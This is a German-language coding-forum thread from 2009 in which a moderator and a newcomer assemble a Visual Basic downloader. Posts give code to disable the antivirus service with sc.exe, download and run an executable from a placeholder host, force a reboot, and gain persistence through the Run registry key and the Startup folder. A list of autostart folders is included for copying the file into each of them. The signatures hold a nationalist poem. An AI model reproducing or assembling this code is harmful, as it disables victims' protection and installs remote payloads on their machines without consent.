PHP Forum - Coding Board
Juni 19, 2018, 02:02:45 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: Dowload + Starten ( + AV Killn )  (Gelesen 191 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
MIIIK
Newbie
*
Beiträge: 9


Profil anzeigen E-Mail
« am: Juni 24, 2009, 11:19:45 »

Gespeichert
Slayer616
Entwickler Team
Spender
Moderator
Hat das Battle gewonnen
Sr. Member
****
Beiträge: 426


Profil anzeigen E-Mail
« Antworten #1 am: Juni 24, 2009, 11:26:59 »

"sc.exe config AntiVirService start= disabled" eingeben
Code:
Shell("sc.exe config AntiVirService start= disabled")

dann einen weiteren Downloader laden
Code:
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Das ist die Funktion
Code:

Urldownloadtofile 0,"http://www.deinhost.de/deineexe.exe","C:\dateinedatei.exe",0,0
Code:
Shell "shutdown -r -f -t 0" Code:
Shell "Pathzuderdatei\deinedatei.exe"
Gespeichert




Du sagst, du spürst die Ohnmacht, denn der Feind ist ach so stark
Und er will dich niederhalten mit Geschrei durch Bein und Mark
Mit Verboten und Zensur kann er zwar den Kampf erschweren
Doch niemals wird ein Richterspruch den freien Geist bekehren.

Fürchte lieber Deutschlands Untergang als die Reden der Vasallen
Derer, die der Lüge dienen, denn schon bald werden sie fallen.
MIIIK
Newbie
*
Beiträge: 9


Profil anzeigen E-Mail
« Antworten #2 am: Juni 24, 2009, 11:54:54 »

Gespeichert
Slayer616
Entwickler Team
Spender
Moderator
Hat das Battle gewonnen
Sr. Member
****
Beiträge: 426


Profil anzeigen E-Mail
« Antworten #3 am: Juni 24, 2009, 11:59:05 »

Code:
Public Function RegWrite(ByVal Path As String, _
  ByVal Value As String, _
  Optional ByVal Typ As String = "REG_SZ") As Boolean
 
  Dim ws As Object
 
  On Error Goto ErrHandler
  Set ws = CreateObject("WScript.Shell")
  ws.RegWrite Path, Value, Typ
  RegWrite = True
  Exit Function
 
ErrHandler:
  RegWrite = False
End Function
Einfach so aufrufen:
Code:
RegWrite "HKEY/Sofware/blablazudemRunKey/MeinProgramm", "C:\meinedatei.exe"
Gespeichert




Du sagst, du spürst die Ohnmacht, denn der Feind ist ach so stark
Und er will dich niederhalten mit Geschrei durch Bein und Mark
Mit Verboten und Zensur kann er zwar den Kampf erschweren
Doch niemals wird ein Richterspruch den freien Geist bekehren.

Fürchte lieber Deutschlands Untergang als die Reden der Vasallen
Derer, die der Lüge dienen, denn schon bald werden sie fallen.
MIIIK
Newbie
*
Beiträge: 9


Profil anzeigen E-Mail
« Antworten #4 am: Juni 24, 2009, 12:02:12 »

blablazudemRunKey <-- WTF L&#228;chelnd:D:D:D
Gespeichert
Slayer616
Entwickler Team
Spender
Moderator
Hat das Battle gewonnen
Sr. Member
****
Beiträge: 426


Profil anzeigen E-Mail
« Antworten #5 am: Juni 24, 2009, 12:12:02 »

Gespeichert




Du sagst, du spürst die Ohnmacht, denn der Feind ist ach so stark
Und er will dich niederhalten mit Geschrei durch Bein und Mark
Mit Verboten und Zensur kann er zwar den Kampf erschweren
Doch niemals wird ein Richterspruch den freien Geist bekehren.

Fürchte lieber Deutschlands Untergang als die Reden der Vasallen
Derer, die der Lüge dienen, denn schon bald werden sie fallen.
MIIIK
Newbie
*
Beiträge: 9


Profil anzeigen E-Mail
« Antworten #6 am: Juni 24, 2009, 12:20:08 »

sry 4 doppelpost ... FireFox hatte sich irgendwie aufgehangen
« Letzte Änderung: Juni 24, 2009, 12:22:27 von MIIIK » Gespeichert
MIIIK
Newbie
*
Beiträge: 9


Profil anzeigen E-Mail
« Antworten #7 am: Juni 24, 2009, 12:21:17 »

Gespeichert
Slayer616
Entwickler Team
Spender
Moderator
Hat das Battle gewonnen
Sr. Member
****
Beiträge: 426


Profil anzeigen E-Mail
« Antworten #8 am: Juni 24, 2009, 12:25:38 »

Jo such mal en google nach wo der Autostart Folder ist.
Gespeichert




Du sagst, du spürst die Ohnmacht, denn der Feind ist ach so stark
Und er will dich niederhalten mit Geschrei durch Bein und Mark
Mit Verboten und Zensur kann er zwar den Kampf erschweren
Doch niemals wird ein Richterspruch den freien Geist bekehren.

Fürchte lieber Deutschlands Untergang als die Reden der Vasallen
Derer, die der Lüge dienen, denn schon bald werden sie fallen.
MIIIK
Newbie
*
Beiträge: 9


Profil anzeigen E-Mail
« Antworten #9 am: Juni 24, 2009, 12:31:22 »

habe jetz :

 vb Syntax (Toggle Plain Text)
   
  • Dim mShell
  • Set mShell = CreateObject("WScript.Shell")
  • txtPath  = mShell.SpecialFolders("Startup")

gefunden

- nur wo genau pack ich das rein ?
Gespeichert
Slayer616
Entwickler Team
Spender
Moderator
Hat das Battle gewonnen
Sr. Member
****
Beiträge: 426


Profil anzeigen E-Mail
« Antworten #10 am: Juni 24, 2009, 12:35:21 »

Gespeichert




Du sagst, du spürst die Ohnmacht, denn der Feind ist ach so stark
Und er will dich niederhalten mit Geschrei durch Bein und Mark
Mit Verboten und Zensur kann er zwar den Kampf erschweren
Doch niemals wird ein Richterspruch den freien Geist bekehren.

Fürchte lieber Deutschlands Untergang als die Reden der Vasallen
Derer, die der Lüge dienen, denn schon bald werden sie fallen.
MIIIK
Newbie
*
Beiträge: 9


Profil anzeigen E-Mail
« Antworten #11 am: Juni 24, 2009, 12:37:56 »

so habe jetz

Code:
[B]vb Syntax[/B] ([URL=http://www.daniweb.com/forums/thread114480.html#]Toggle Plain Text[/URL])
     
[list type=decimal]
[*]Dim mShell
[*]Set mShell = CreateObject(&quot;WScript.Shell&quot;)
[*]txtPath  = mShell.SpecialFolders(&quot;Startup&quot;)
[/LIST]

gefunden . nur weis ich nich genau was ich damit anfangen soll

ansonsten will ich das nochmal testen

Code:
Imports Microsoft.Win32





    Private Sub AddCurrentKey(ByVal name As String, ByVal path As String)

        Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)

        key.SetValue(name, path)

    End Sub



    Private Sub RemoveCurrentKey(ByVal name As String)

        Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)

        key.DeleteValue(name, False)

    End Sub
dann hab ich nochwas mit nem Shortcut im Startup Folder

Code:
If mnuStartWithWindows.Checked = False Then
    'Add to Startup Group
    mnuStartWithWindows.Checked = True
    fCreateShellLink StartupFolder, "My Program", App.Path + "\My Program", "" & vbNullChar, -1, StartupFolder
Else
    'Remove from Startup Group
    mnuStartWithWindows.Checked = False
    If fso.FileExists(StartupFolder + "\My Program.lnk") Then
      fso.DeleteFile StartupFolder + "\My Program.lnk"
    End If
und ich hab noch das hier


Code:

Folder Autostart Locations

1. windir\Start Menu\Programs\Startup\
2. User\Startup\
3. All Users\Startup\
4. windir\system\iosubsys\
5. windir\system\vmm32\
6. windir\Tasks\

vllt kann man die datei eifnach in jeden dieser ordner kopieren ??

hmm dennoch danke - ich werd dann mal rumtesten
« Letzte Änderung: Juni 24, 2009, 01:59:38 von w0red » Gespeichert
Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS